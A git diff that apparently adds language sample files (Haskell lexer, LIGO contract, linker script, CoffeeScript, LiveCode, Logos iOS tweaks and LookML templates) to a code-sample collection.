+        let runTextReader r = fromIntegral . fst . fromRight (error "internal error") . r
+            intPart = runTextReader T.hexadecimal i
+            fracPart = runTextReader T.hexadecimal f
+            exponent = runTextReader (T.signed T.decimal) p
+
+            fracLen = fromIntegral $ T.length f
+            fracVal = fracPart / (16.0 ** fracLen)
+            totalVal = (intPart + fracVal) * (2.0 ** exponent) in
+        return totalVal
+    _ -> error "bad hex real literal"
+
+alexGetPosn :: Alex (Int, Int, Int)
+alexGetPosn = Alex $ \s ->
+  let (AlexPn off line col) = alex_pos s
+  in Right (s, (line, col, off))
+
+alexEOF = do
+  posn <- alexGetPosn
+  return (posn, posn, EOF)
+
+-- | A value tagged with a source location.
+data L a = L SrcLoc a deriving (Show)
+
+instance Eq a => Eq (L a) where
+  L _ x == L _ y = x == y
+
+instance Located (L a) where
+  locOf (L (SrcLoc loc) _) = loc
+
+-- | A lexical token.  It does not itself contain position
+-- information, so in practice the parser will consume tokens tagged
+-- with a source position.
+data Token = ID Name
+           | INDEXING Name
+           | QUALINDEXING [Name] Name
+           | QUALPAREN [Name] Name
+           | UNOP Name
+           | QUALUNOP [Name] Name
+           | SYMBOL BinOp [Name] Name
+           | CONSTRUCTOR Name
+           | PROJ_FIELD Name
+           | PROJ_INDEX
+
+           | INTLIT Integer
+           | STRINGLIT String
+           | I8LIT Int8
+           | I16LIT Int16
+           | I32LIT Int32
+           | I64LIT Int64
+           | U8LIT Word8
+           | U16LIT Word16
+           | U32LIT Word32
+           | U64LIT Word64
+           | FLOATLIT Double
+           | F32LIT Float
+           | F64LIT Double
+           | CHARLIT Char
+
+           | COLON
+           | COLON_GT
+           | BACKSLASH
+           | APOSTROPHE
+           | APOSTROPHE_THEN_HAT
+           | APOSTROPHE_THEN_TILDE
+           | BACKTICK
+           | HASH_LBRACKET
+           | TWO_DOTS
+           | TWO_DOTS_LT
+           | TWO_DOTS_GT
+           | THREE_DOTS
+           | LPAR
+           | RPAR
+           | RPAR_THEN_LBRACKET
+           | LBRACKET
+           | RBRACKET
+           | LCURLY
+           | RCURLY
+           | COMMA
+           | UNDERSCORE
+           | RIGHT_ARROW
+
+           | EQU
+           | ASTERISK
+           | NEGATE
+           | LTH
+           | HAT
+           | TILDE
+           | PIPE
+
+           | IF
+           | THEN
+           | ELSE
+           | LET
+           | LOOP
+           | IN
+           | FOR
+           | DO
+           | WITH
+           | ASSERT
+           | TRUE
+           | FALSE
+           | WHILE
+           | INCLUDE
+           | IMPORT
+           | ENTRY
+           | TYPE
+           | MODULE
+           | VAL
+           | OPEN
+           | LOCAL
+           | MATCH
+           | CASE
+
+           | DOC String
+
+           | EOF
+
+             deriving (Show, Eq, Ord)
+
+runAlex' :: AlexPosn -> ByteString.ByteString -> Alex a -> Either String a
+runAlex' start_pos input__ (Alex f) =
+  case f (AlexState { alex_pos = start_pos
+                    , alex_bpos = 0
+                    , alex_inp = input__
+                    , alex_chr = '\n'
+                    , alex_scd = 0}) of Left msg -> Left msg
+                                        Right ( _, a ) -> Right a
+
+-- | Given a starting position, produce tokens from the given text (or
+-- a lexer error).  Returns the final position.
+scanTokensText :: Pos -> T.Text -> Either String ([L Token], Pos)
+scanTokensText pos = scanTokens pos . BS.fromStrict . T.encodeUtf8
+
+scanTokens :: Pos -> BS.ByteString -> Either String ([L Token], Pos)
+scanTokens (Pos file start_line start_col start_off) str =
+  runAlex' (AlexPn start_off start_line start_col) str $ do
+  fix $ \loop -> do
+    tok <- alexMonadScan
+    case tok of
+      (start, end, EOF) ->
+        return ([], posnToPos end)
+      (start, end, t) -> do
+        (rest, endpos) <- loop
+        return (L (pos start end) t : rest, endpos)
+  where pos start end = SrcLoc $ Loc (posnToPos start) (posnToPos end)
+        posnToPos (line, col, off) = Pos file line col off
+}
diff --git a/samples/LigoLANG/FA1.2.ligo b/samples/LigoLANG/FA1.2.ligo
new file mode 100644
index 0000000000..4e47cfc7fe
--- /dev/null
+++ b/samples/LigoLANG/FA1.2.ligo
@@ -0,0 +1,50 @@
+// SPDX-FileCopyrightText: 2020 TQ Tezos
+// SPDX-License-Identifier: MIT
+
+#include "spec.ligo"
+#include "../permit.ligo"
+#include "permit.ligo"
+#include "spender_allowances.ligo"
+#include "actions.ligo"
+
+(*
+ * FA1.2 entrypoints that are specified in [tzip-12](https://gitlab.com/tzip/tzip/-/blob/827c6c5f9e504e9c4a63e265f86dce24f5c5cef9/proposals/tzip-12/tzip-12.md)
+ *)
+function fa1_2_main
+  ( const action : parameter
+  ; const store  : storage
+  ; const full_param : closed_parameter
+  ) : entrypoint
+is case action of
+  | Transfer       (params) -> transfer         (params, store, full_param)
+  | Approve        (params) -> approve          (params, store, full_param)
+  | GetBalance     (params) -> get_balance      (params, store)
+  | GetAllowance   (params) -> get_allowance    (params, store)
+  | GetTotalSupply (params) -> get_total_supply (params, store)
+end
+
+
+(*
+ * Root entrypoint of stablecoin smart-contract
+ *)
+function stablecoin_main
+  ( const full_param : closed_parameter
+  ; const store  : storage
+  ) : entrypoint is block
+{ fail_on (Tezos.amount =/= 0tz, "XTZ_RECEIVED") // Validate whether the contract receives non-zero amount of tokens
+} with case full_param of
+    Call_FA1_2            (params) -> fa1_2_main            (params, store, full_param)
+  | Pause                 (params) -> pause                 (params, store, full_param)
+  | Unpause               (params) -> unpause               (params, store, full_param)
+  | Configure_minter      (params) -> configure_minter      (params, store, full_param)
+  | Remove_minter         (params) -> remove_minter         (params, store, full_param)
+  | Mint                  (params) -> mint                  (params, store)
+  | Burn                  (params) -> burn                  (params, store)
+  | Transfer_ownership    (params) -> transfer_ownership    (params, store, full_param)
+  | Accept_ownership      (params) -> accept_ownership      (params, store, full_param)
+  | Change_master_minter  (params) -> change_master_minter  (params, store, full_param)
+  | Change_pauser         (params) -> change_pauser         (params, store, full_param)
+  | Set_transferlist      (params) -> set_transferlist      (params, store, full_param)
+  | Permit                (params) -> add_permit            (params, store)
+  | Set_expiry            (params) -> set_expiry            (params, store)
+  end
diff --git a/samples/Linker Script/inject.x b/samples/Linker Script/inject.x
new file mode 100644
index 0000000000..b103bd4376
--- /dev/null
+++ b/samples/Linker Script/inject.x	
@@ -0,0 +1,19 @@
+/* OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm") */
+/* OUTPUT_ARCH(arm) */
+ENTRY(__adbi$entry)
+SECTIONS
+{
+    . = 0x00000000 + SIZEOF_HEADERS;
+   
+    .adbi : { 
+      *(.rodata) 
+      *(.rodata.*) 
+      *(.data) *(.data.*)
+      *(.bss) *(.bss.*)
+      *(.text) 
+      *(.text.*)
+      *(.adbi)
+      *(.adbi.*)
+    } = 0
+    
+}
diff --git a/samples/Literate CoffeeScript/pixi.coffee.md b/samples/Literate CoffeeScript/pixi.coffee.md
new file mode 100644
index 0000000000..2ac1b1e511
--- /dev/null
+++ b/samples/Literate CoffeeScript/pixi.coffee.md	
@@ -0,0 +1,113 @@
+Pixi Test
+=========
+
+Testing out Pixi.js
+
+    _ = require "./lib/underscore"
+
+    {applyStylesheet} = require "util"
+    applyStylesheet require("./style")
+    {width, height} = require "./pixie"
+
+    {update, applyProperties, hydrate} = require "./object_updater"
+    editor = require("./editor")()
+
+    PIXI = require "./lib/pixi"
+    # PIXI.Texture.SCALE_MODE.DEFAULT = PIXI.Texture.SCALE_MODE.NEAREST
+
+    stage = new PIXI.Stage(0x66FF99)
+
+    renderer = PIXI.autoDetectRenderer(width, height)
+
+    clickHandler = (mouseData) ->
+      if mouseData.originalEvent.ctrlKey or mouseData.originalEvent.metaKey
+        editor.activeObject mouseData.target.data
+      else
+        if data = mouseData.target.data
+          data.click?(data)
+
+    document.body.appendChild(renderer.view)
+
+Load textures from a data file and map them into Pixi.js texture objects
+
+    textures = require "./textures"
+    Object.keys(textures).forEach (name) ->
+      value = textures[name]
+      textures[name] = PIXI.Texture.fromImage("http://a0.pixiecdn.com/#{value}", true)
+
+Reload our app data or use our default data.
+
+    if data = ENV?.APP_STATE
+      data = JSON.parse(data)
+    else
+      data = require("./default_data")
+
+Fill children
+
+    populate = (object) ->
+      [0..4].forEach (i) ->
+        [0..4].forEach (j) ->
+          c = new PIXI.Sprite(textures.pixie)
+          object.addChild c
+          c.position =
+            x: i * 50 - 125
+            y: j * 50 - 125
+
+Reconstitute our objects using our app data.
+
+    objects = data.map (datum) ->
+      object = new PIXI.Sprite(textures[datum.sprite])
+
+      datum._host = object
+
+      object.anchor.x = object.anchor.y = 0.5
+
+      object.data = datum
+      object.interactive = true
+      object.click = clickHandler
+
+      # TODO: Figure out child object compositions
+      # something like
+      # object.data.children?.forEach (datum) ->
+      #   recurse object, datum
+      # populate object
+
+      hydrate(object.data)
+      applyProperties(object)
+
+      # TODO: stage should be 'parent' or 'root' so we can handle trees of objects
+      stage.addChild(object)
+
+      return object
+
+Our main loop, update and draw.
+
+    dt = 1/60
+    animate = ->
+      requestAnimationFrame(animate)
+
+      objects.forEach (object) ->
+        update(object, dt)
+
+      renderer.render(stage)
+
+    requestAnimationFrame(animate)
+
+This is where we export and expose our app state.
+
+    global.appData = ->
+      JSON.stringify stage.children.map (child) ->
+        _.omit child.data, "_host"
+
+Text sample (still need to figure out how to handle different PIXI types for our
+objects)
+
+    addText = ->
+      textSample = new PIXI.Text "Pixi.js can has\nmultiline text!",
+        font: "35px Snippet"
+        fill: "white"
+        align: "left"
+      textSample.position.x = 20
+      textSample.position.y = 20
+      stage.addChild(textSample)
+
diff --git a/samples/LiveCode Script/colorToRGB.livecodescript b/samples/LiveCode Script/colorToRGB.livecodescript
new file mode 100644
index 0000000000..2e7abd4302
--- /dev/null
+++ b/samples/LiveCode Script/colorToRGB.livecodescript	
@@ -0,0 +1,13 @@
+script "colorToRGB"
+
+function colorToRGB pColor
+    local tColorRGB
+
+    if pColor is a color then
+        set the colorOverlay["color"] of the templateGraphic to pColor
+        put the colorOverlay["color"] of the templateGraphic into tColorRGB
+        reset the templateGraphic
+        return tColorRGB  for value
+
+    else return empty for value
+end colorToRGB
diff --git a/samples/LiveCode Script/hideFolder.livecodescript b/samples/LiveCode Script/hideFolder.livecodescript
new file mode 100644
index 0000000000..335b1ecb0f
--- /dev/null
+++ b/samples/LiveCode Script/hideFolder.livecodescript	
@@ -0,0 +1,25 @@
+script "hideFolder"
+
+command hideFolder pPath
+    local tLastItem, tNewName
+    set the itemdel to "/"
+
+    if "\" is in pPath then replace "\" with "/" in pPath
+
+    put pPath into tNewName
+    put the item - 1 of pPath into tLastItem
+
+    if platform() is "Win32" then
+        set the hideConsoleWindows to true
+        get shell( "ATTRIB +H " & quote & tNewName  & quote  )
+        if it is not empty then
+            answer error it
+        end if
+    else if the char 1 of tLastItem is not "." then
+        put "." & tLastItem into the item - 1 of tNewName
+        rename folder pPath to tNewName
+    end if
+
+end hideFolder
+
+
diff --git a/samples/LiveCode Script/longIdAllControls.livecodescript b/samples/LiveCode Script/longIdAllControls.livecodescript
new file mode 100644
index 0000000000..00289f2bb6
--- /dev/null
+++ b/samples/LiveCode Script/longIdAllControls.livecodescript	
@@ -0,0 +1,27 @@
+script "longIdAllControls"
+
+
+function longIdAllControls pLongId
+    local tType, tCards, tControls, tResult
+
+    if there is not a pLongId then  return empty for value
+    put word 1 of pLongId into tType
+
+    if tType is "stack" then
+        put the cardIDs of pLongId into tCards
+        repeat for each line tCard in tCards
+            put longIdAllControls("card id"&& tCard && "of" && pLongId) & cr after tResult
+        end repeat
+        delete char - 1 of tResult
+    else if tType is in "group card" then
+        put the number of controls of pLongId into tControls
+        repeat with x = 1 to tControls
+            put the long id of control x of pLongId into line x of tResult
+        end repeat
+    else
+        return the long id of pLongId
+    end if
+
+    sort lines of tResult
+    return tResult for value
+end longIdAllControls
\ No newline at end of file
diff --git a/samples/LiveCode Script/minifyScript.livecodescript b/samples/LiveCode Script/minifyScript.livecodescript
new file mode 100644
index 0000000000..c611a33e37
--- /dev/null
+++ b/samples/LiveCode Script/minifyScript.livecodescript	
@@ -0,0 +1,227 @@
+script "com.livecode.library.minifyScript"
+
+on extensionInitialize
+   if the target is not me then
+      pass "extensionInitialize"
+   end if
+
+   set the _ideOverride of me to true
+   insert the script of me into back
+end extensionInitialize
+
+on extensionFinalize
+   if the target is not me then
+      pass "extensionFinalize"
+   end if
+
+   remove the script of me from back
+end extensionFinalize
+
+/**
+Type: library
+
+Title: Minify script
+
+Author: torocruzand
+
+Version: 0.0.1
+
+SVGIcon: m21.706 5.292-2.999-2.999A.996.996 0 0 0 18 2H6a.997.997 0 0 0-.707.293L2.294 5.292A.996.996 0 0 0 2 6v13c0 1.103.897 2 2 2h16c1.103 0 2-.897 2-2V6a.994.994 0 0 0-.294-.708zM6.414 4h11.172l1 1H5.414l1-1zM12 18l-5-5h3v-3h4v3h3l-5 5z
+
+OS: Mac, Windows, Linux, iOS, Android
+
+Platforms: desktop, mobile, web
+
+Summary: The “minify script” library is a tool for LiveCode that reduces stack
+file sizes by eliminating comments and spaces from control code, enhancing
+efficiency but reducing human readability.
+
+Description:
+The “minify script” library is designed to reduce the size of stack files
+in LiveCode. This library removes comments and spaces from the code of controls,
+resulting in smaller stack sizes. However, this also makes the code more
+difficult for humans to read. Therefore, it’s important to maintain a version
+of the code that includes all comments and other elements for readability and
+future reference.
+*/
+
+/**
+Minifies the script of a control.
+
+Syntax: minifyScript <pLongId>
+
+Description:
+Use the <minifyScript> command to minify the script of a control.
+This command sets the script of the control to the minified version
+of the script.
+
+Parameters:
+pLongId (string): The long ID of the control.
+
+Example:
+minifyScript the long id of button "button 1", true
+-- The script of button 1 is minified and obfuscated
+*/
+command minifyScript pLongId
+   if there is a not pLongId then
+       return "control not found"
+   end if
+
+   try
+      set the script of pLongId to getMinifiedScript(pLongId)
+   end try
+end minifyScript
+
+
+/**
+Minifies a script and returns the minified version.
+
+Syntax: getMinifiedScript <pLongId>
+
+Description:
+Use the <getMinifiedScript> function to minify a script.
+This function removes comments and unnecessary whitespace from the script and
+returns the minified version.
+
+Parameters:
+pLongId (string): The long ID of the control.
+
+Returns:
+The minified script.
+
+Example:
+put getMinifiedScript(the long id of button "button 1", true) into tMinifiedScript
+-- The minified script is stored in tMinifiedScript
+*/
+function getMinifiedScript pLongId
+  local tScript
+  local tCommentOneLineChars = "//,--,#"
+  local tCurrentLine = 0
+  local tNumItems = 0
+  local tBreak = 0
+  local tCommentOneLine
+  local tInsideQuote = false
+  local tClosure = 0
+  local tMinifiedScript = ""
+
+  # Valid that it is an object.
+  if there is a not pLongId then return empty
+
+  # I take the object code
+  put word 1 to - 1 of (the script of pLongId) into tScript
+
+  # If you do not have empty return code.
+  if tScript is empty then return empty
+
+  set the itemDel to quote
+  replace comma with cr in tCommentOneLineChars
+
+  repeat for each line tLine in tScript
+    add 1 to tCurrentLine
+    put the num of items of tLine into tNumItems
+
+    if tBreak is 0 then
+      put word 1 to - 1 of tLine into tLine
+      if tLine is empty then next repeat
+
+      # Comment of a line.
+      # To avoid doing everything for pleasure.
+      if tLine contains "//" or tLine contains "-" or tLine contains "#" then
+
+        repeat for each line tCommentChar in tCommentOneLineChars
+          put offset(tCommentChar, tLine) into tCommentOneLine
+
+          if tCommentOneLine is 0 then next repeat
+
+          # If it's in quotes.
+          put _insideQuote(tCommentOneLine, tLine) into tInsideQuote
+
+          if tInsideQuote is not 1 then
+            if tInsideQuote mod 2 is not 0 then
+              delete char tCommentOneLine to - 1 of tLine
+            end if
+          else
+            delete char tCommentOneLine to - 1 of tLine
+          end if
+
+          if tLine is empty then exit repeat
+        end repeat
+
+        if tLine is empty then next repeat
+      end if
+
+      # looking for the opening of multiline comments.
+      put offSet("/*", tLine) into tBreak
+      if tBreak is not 0 then
+
+        # I have quotes.
+        put _insideQuote(tBreak, tLine) into tInsideQuote
+
+        # if it is not within the first item.
+        if tInsideQuote is not 1 then
+          # It's in quotes.
+          if tInsideQuote mod 2 is not 0 then
+            delete char tBreak to - 1 of tLine
+          else
+            put 0 into tBreak
+          end if
+        else
+
+          # If it is not before the quotation marks or does not have
+          # quotation marks, I am looking for the closure on this line.
+          put offSet("*/", tLine) into tClosure
+
+          if tClosure is 0 then
+            delete char tBreak to - 1 of tLine
+          else
+            put tBreak + tClosure into tClosure
+            delete char tBreak to tClosure of tLine
+            put 0 into tBreak
+          end if
+        end if
+
+        if tLine is empty then next repeat
+      end if
+
+      put tLine & return after tMinifiedScript
+    else
+      # Here I look for the closure of the multiline.
+      put offSet("*/", tLine) into tClosure
+
+      if tClosure is 0 then
+        next repeat
+      else
+        put tClosure + 1 into tBreak
+        delete char 1 to tBreak of tLine
+
+        # I have quotes.
+        put 0 into tBreak
+        if tLine is empty then next repeat
+        put tLine & return after tMinifiedScript
+      end if
+    end if
+  end repeat
+
+  # Delete the blank lines.
+  filter tMinifiedScript without empty
+  put tMinifiedScript into tScript
+  put empty into tMinifiedScript
+
+  repeat for each line tLine in tScript
+    if "\" is last char of last word of tLine then
+      delete  last char of last word of tLine
+      put tLine & space after tMinifiedScript
+    else
+      put tLine & cr after tMinifiedScript
+    end if
+  end repeat
+  
+  # Return the code without comment.
+  return tMinifiedScript
+end getMinifiedScript
+
+
+private function _insideQuote pNumChar, pText
+   set the itemDel to quote
+   return the num of items of the char 1 to pNumChar of pText
+end _insideQuote
diff --git a/samples/Logos/NCHax.x b/samples/Logos/NCHax.x
new file mode 100644
index 0000000000..3ab08be057
--- /dev/null
+++ b/samples/Logos/NCHax.x
@@ -0,0 +1,57 @@
+#import <UIKit/UIKit.h>
+#import <BulletinBoard/BBSectionInfo.h>
+#import <UIKit/UIImage+Private.h>
+#import <version.h>
+
+static NSString *const kHBDPWeeAppIdentifier = @"ws.hbang.dailypaperweeapp";
+
+#pragma mark - Change section header and icon
+
+// courtesy of benno
+
+BOOL isDailyPaper = NO;
+
+%hook SBBulletinObserverViewController
+
+- (void)_addSection:(BBSectionInfo *)section toCategory:(NSInteger)category widget:(id)widget {
+	if ([section.sectionID isEqualToString:kHBDPWeeAppIdentifier]) {
+		isDailyPaper = YES;
+		%orig;
+		isDailyPaper = NO;
+	} else {
+		%orig;
+	}
+}
+
+%end
+
+%hook SBBulletinListSection
+
+- (void)setDisplayName:(NSString *)displayName {
+	%orig(isDailyPaper ? @"Current Wallpaper" : displayName);
+}
+
+- (void)setIconImage:(UIImage *)iconImage {
+	%orig(isDailyPaper ? [UIImage imageNamed:@"icon" inBundle:[NSBundle bundleWithPath:@"/Library/PreferenceBundles/DailyPaper.bundle"]] : iconImage);
+}
+
+%end
+
+#pragma mark - Enable by default
+
+%hook SBNotificationCenterDataProviderController
+
+- (NSArray *)_copyDefaultEnabledWidgetIDs {
+	NSArray *defaultWidgets = %orig;
+	return [[defaultWidgets arrayByAddingObject:kHBDPWeeAppIdentifier] copy];
+}
+
+%end
+
+#pragma mark - Constructor
+
+%ctor {
+	if (!IS_IOS_OR_NEWER(iOS_8_0)) {
+		%init;
+	}
+}
diff --git a/samples/Logos/NoCarrier.x b/samples/Logos/NoCarrier.x
new file mode 100644
index 0000000000..9b7201c9b9
--- /dev/null
+++ b/samples/Logos/NoCarrier.x
@@ -0,0 +1,42 @@
+//
+//  NoCarrier.x
+//  NoCarrier
+//
+//  Created by Jonas Gessner on 27.01.2014.
+//  Copyright (c) 2014 Jonas Gessner. All rights reserved.
+//
+
+#import <CoreGraphics/CoreGraphics.h>
+
+#include <substrate.h>
+
+%group main
+
+%hook UIStatusBarServiceItemView
+
+- (id)_serviceContentsImage {
+    return nil;
+}
+
+- (CGFloat)extraLeftPadding {
+    return 0.0f;
+}
+
+- (CGFloat)extraRightPadding {
+    return 0.0f;
+}
+
+- (CGFloat)standardPadding {
+    return 2.0f;
+}
+
+%end
+
+%end
+
+
+%ctor {
+	@autoreleasepool {
+		%init(main);
+	}
+}
diff --git a/samples/Logos/Tweak.x b/samples/Logos/Tweak.x
new file mode 100644
index 0000000000..4d5ed03991
--- /dev/null
+++ b/samples/Logos/Tweak.x
@@ -0,0 +1,239 @@
+/*
+ *    ShadowSocks Per-App Proxy Plugin
+ *    https://github.com/linusyang/MobileShadowSocks
+ *
+ *    Copyright (c) 2014 Linus Yang <laokongzi@gmail.com>
+ *
+ *    This program is free software: you can redistribute it and/or modify
+ *    it under the terms of the GNU General Public License as published by
+ *    the Free Software Foundation, either version 3 of the License, or
+ *    (at your option) any later version.
+ *
+ *    This program is distributed in the hope that it will be useful,
+ *    but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *    GNU General Public License for more details.
+ *
+ *    You should have received a copy of the GNU General Public License
+ *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+#include <UIKit/UIKit.h>
+#include <libfinder/LFFinderController.h>
+
+#define FUNC_NAME SCDynamicStoreCopyProxies
+#define ORIG_FUNC original_ ## FUNC_NAME
+#define CUST_FUNC custom_ ## FUNC_NAME
+
+#define DECL_FUNC(ret, ...) \
+    extern ret FUNC_NAME(__VA_ARGS__); \
+    static ret (*ORIG_FUNC)(__VA_ARGS__); \
+    ret CUST_FUNC(__VA_ARGS__)
+
+#define HOOK_FUNC() \
+    MSHookFunction(FUNC_NAME, (void *) CUST_FUNC, (void **) &ORIG_FUNC)
+
+typedef const struct __SCDynamicStore *SCDynamicStoreRef;
+void MSHookFunction(void *symbol, void *replace, void **result);
+
+static BOOL proxyEnabled = YES;
+static BOOL spdyDisabled = YES;
+static BOOL finderEnabled = YES;
+
+static BOOL getValue(NSDictionary *dict, NSString *key, BOOL defaultVal)
+{
+    if (dict == nil || key == nil) {
+        return defaultVal;
+    }
+    NSNumber *valObj = [dict objectForKey:key];
+    if (valObj == nil) {
+        return defaultVal;
+    }
+    return [valObj boolValue];
+}
+
+static void updateSettings(void)
+{
+    proxyEnabled = YES;
+    spdyDisabled = YES;
+    finderEnabled = YES;
+    NSDictionary *dict = [[NSDictionary alloc] initWithContentsOfFile:@"/var/mobile/Library/Preferences/com.linusyang.ssperapp.plist"];
+    if (dict != nil) {
+        NSString *bundleName = [[NSBundle mainBundle] bundleIdentifier];
+        if (getValue(dict, @"SSPerAppEnabled", NO) && bundleName != nil) {
+            NSString *entry = [[NSString alloc] initWithFormat:@"Enabled-%@", bundleName];
+            proxyEnabled = getValue(dict, entry, NO);
+            if (getValue(dict, @"SSPerAppReversed", NO)) {
+                proxyEnabled = !proxyEnabled;
+            }
+            [entry release];
+        }
+        spdyDisabled = getValue(dict, @"SSPerAppDisableSPDY", YES);
+        finderEnabled = getValue(dict, @"SSPerAppFinder", YES);
+        [dict release];
+    }
+}
+
+DECL_FUNC(CFDictionaryRef, SCDynamicStoreRef store)
+{
+    if (proxyEnabled) {
+        return ORIG_FUNC(store);
+    }
+    CFMutableDictionaryRef proxyDict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
+    int zero = 0;
+    CFNumberRef zeroNumber = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &zero);
+    CFDictionarySetValue(proxyDict, CFSTR("HTTPEnable"), zeroNumber);
+    CFDictionarySetValue(proxyDict, CFSTR("HTTPProxyType"), zeroNumber);
+    CFDictionarySetValue(proxyDict, CFSTR("HTTPSEnable"), zeroNumber);
+    CFDictionarySetValue(proxyDict, CFSTR("ProxyAutoConfigEnable"), zeroNumber);
+    CFRelease(zeroNumber);
+    return proxyDict;
+}
+
+@interface SettingTableViewController <LFFinderActionDelegate>
+
+- (BOOL)useLibFinder;
+- (UIViewController *)allocFinderController;
+- (void)finderSelectedFilePath:(NSString *)path checkSanity:(BOOL)check;
+
+@end
+
+%group FinderHook
+
+%hook SettingTableViewController
+- (BOOL)useLibFinder
+{
+    return finderEnabled;
+}
+
+- (UIViewController *)allocFinderController
+{
+    LFFinderController* finder = [[LFFinderController alloc] initWithMode:LFFinderModeDefault];
+    finder.actionDelegate = self;
+    return finder;
+}
+
+%new
+-(void)finder:(LFFinderController*)finder didSelectItemAtPath:(NSString*)path
+{
+    [self finderSelectedFilePath:path checkSanity:NO];
+}
+%end
+
+%end
+
+%group TwitterHook
+
+%hook T1SPDYConfigurationChangeListener 
+- (BOOL)_shouldEnableSPDY
+{
+    if (spdyDisabled) {
+        return NO;
+    } else {
+        return %orig;
+    }
+}
+%end
+
+%end
+
+%group FacebookHook
+
+%hook FBRequester
+- (BOOL)allowSPDY
+{
+    if (spdyDisabled) {
+        return NO;
+    } else {
+        return %orig;
+    }
+}
+
+- (BOOL)useDNSCache
+{
+    if (spdyDisabled) {
+        return NO;
+    } else {
+        return %orig;
+    }
+}
+%end
+
+%hook FBNetworkerRequest
+- (BOOL)disableSPDY
+{
+    if (spdyDisabled) {
+        return YES;
+    } else {
+        return %orig;
+    }
+}
+%end
+
+%hook FBRequesterState
+- (BOOL)didUseSPDY
+{
+    if (spdyDisabled) {
+        return NO;
+    } else {
+        return %orig;
+    }
+}
+%end
+
+%hook FBAppConfigService
+- (BOOL)disableDNSCache
+{
+    if (spdyDisabled) {
+        return YES;
+    } else {
+        return %orig;
+    }
+}
+%end
+
+%hook FBNetworker
+- (BOOL)_shouldAllowUseOfDNSCache:(id)arg
+{
+    if (spdyDisabled) {
+        return NO;
+    } else {
+        return %orig;
+    }
+}
+%end
+
+%hook FBAppSessionController
+- (BOOL)networkerShouldAllowUseOfDNSCache:(id)arg
+{
+    if (spdyDisabled) {
+        return NO;
+    } else {
+        return %orig;
+    }
+}
+%end
+
+%end
+
+%ctor
+{
+    NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
+    NSString *bundleName = [[NSBundle mainBundle] bundleIdentifier];
+    if (bundleName != nil && ![bundleName isEqualToString:@"com.apple.springboard"]) {
+        updateSettings();
+        CFNotificationCenterAddObserver(CFNotificationCenterGetDarwinNotifyCenter(), NULL, (CFNotificationCallback) updateSettings, CFSTR("com.linusyang.ssperapp.settingschanged"), NULL, CFNotificationSuspensionBehaviorCoalesce);
+        if ([bundleName isEqualToString:@"com.linusyang.MobileShadowSocks"]) {
+            %init(FinderHook);
+        } else {
+            HOOK_FUNC();
+            if ([bundleName isEqualToString:@"com.atebits.Tweetie2"]) {
+                %init(TwitterHook);
+            } else if ([bundleName isEqualToString:@"com.facebook.Facebook"]) {
+                %init(FacebookHook);
+            }
+        }
+    }
+    [pool drain];
+}
diff --git a/samples/Logos/string1.x b/samples/Logos/string1.x
new file mode 100644
index 0000000000..ff4b3c418f
--- /dev/null
+++ b/samples/Logos/string1.x
@@ -0,0 +1,5 @@
+# APPLE LOCAL file string workaround 4943900
+if { [istarget "*-*-darwin\[9123\]*"] } {
+  set additional_flags "-framework Foundation -fconstant-cfstrings"
+}
+return 0
diff --git a/samples/LookML/example.model.lkml b/samples/LookML/example.model.lkml
new file mode 100644
index 0000000000..ea6c4ff170
--- /dev/null
+++ b/samples/LookML/example.model.lkml
@@ -0,0 +1,49 @@
+- label:          'desired label name'
+- connection:     connection_name
+- include:        filename_or_pattern
+  # Possibly more include declarations
+- persist_for:    N (seconds | minutes | hours)
+- case_sensitive: true | false
+- week_start_day: monday | tuesday | wednesday | thursday | friday | saturday | sunday
+- value_formats:
+  - name: desired_format_name
+    value_format: 'excel-style formatting string'
+  # Possibly more value formats
+
+- explore: view_name
+  label:  'desired label name'
+  description: 'description string'
+  symmetric_aggregates: true | false
+  hidden: true | false
+  fields: [field_or_set, field_or_set, …]
+
+  sql_always_where: SQL WHERE condition
+  always_filter:
+    field_name: 'looker filter expression'
+  conditionally_filter:
+    field_name: 'looker filter expression'
+    unless: [field_or_set, field_or_set, …]
+  access_filter_fields: [fully_scoped_field, fully_scoped_field, …]
+
+  always_join: [view_name, view_name, …]
+  joins:
+    - join: view_name
+      type: left_outer | full_outer | inner | cross
+      relationship: one_to_one | many_to_one | one_to_many | many_to_many
+      from: view_name
+      sql_table_name: table_name
+      view_label: 'desired label name'
+      fields: [field_or_set, field_or_set, …]
+      required_joins: [view_name, view_name, …]
+      foreign_key: dimension_name
+      sql_on: SQL ON clause
+    # Possibly more join declarations
+
+  persist_for: N (seconds | minutes | hours)
+  from: view_name
+  view: view_name
+  case_sensitive: true | false
+  sql_table_name: table_name
+  cancel_grouping_fields: [fully_scoped_field, fully_scoped_field, …]
+
+# Possibly more explore declarations
diff --git a/samples/LookML/example.view.lkml b/samples/LookML/example.view.lkml
new file mode 100644
index 0000000000..f4918d766d
--- /dev/null
+++ b/samples/LookML/example.view.lkml
@@ -0,0 +1,90 @@
+- view: view_name
+  sql_table_name: table_name
+  suggestions: true | false
+
+  derived_table:
+    sql: SQL query
+    persist_for: N (seconds | minutes | hours)
+    sql_trigger_value: SQL query
+    distribution: column_name
+    distribution_style: ALL | EVEN
+    sortkeys: [column_name, column_name, …]
+    indexes: [column_name, column_name, …]
+
+  sets:
+    set_name:
+      - field_or_set
+      - field_or_set
+      - …
+    # Possibly more set declarations
+
+  fields:
+  - (dimension | dimension_group | measure | filter): field_name
+    label: 'desired label name'
+    view_label: 'desired label name'
+    group_label: 'desired label name'
+    description: 'description string'
+    hidden: true | false
+    alias: [old_field_name, old_field_name, …]
+    value_format: 'excel-style formatting string'
+    value_format_name: format_name
+    html: HTML expression using Liquid template elements
+    sql: SQL expression to generate the field value
+    required_fields: [field_name, field_name, …]
+    drill_fields: [field_or_set, field_or_set, …]
+    can_filter: true | false
+    fanout_on: repeated_record_name
+
+    # DIMENSION SPECIFIC PARAMETERS
+
+    type: dimension_field_type
+    primary_key: true | false
+    sql_case:
+      value: SQL condition
+      value: SQL condition
+      # Possibly more sql_case statements
+    alpha_sort: true | false
+    tiers: [N, N, …]
+    style: classic | interval | integer | relational
+    sql_latitude: SQL expression to generate a latitude
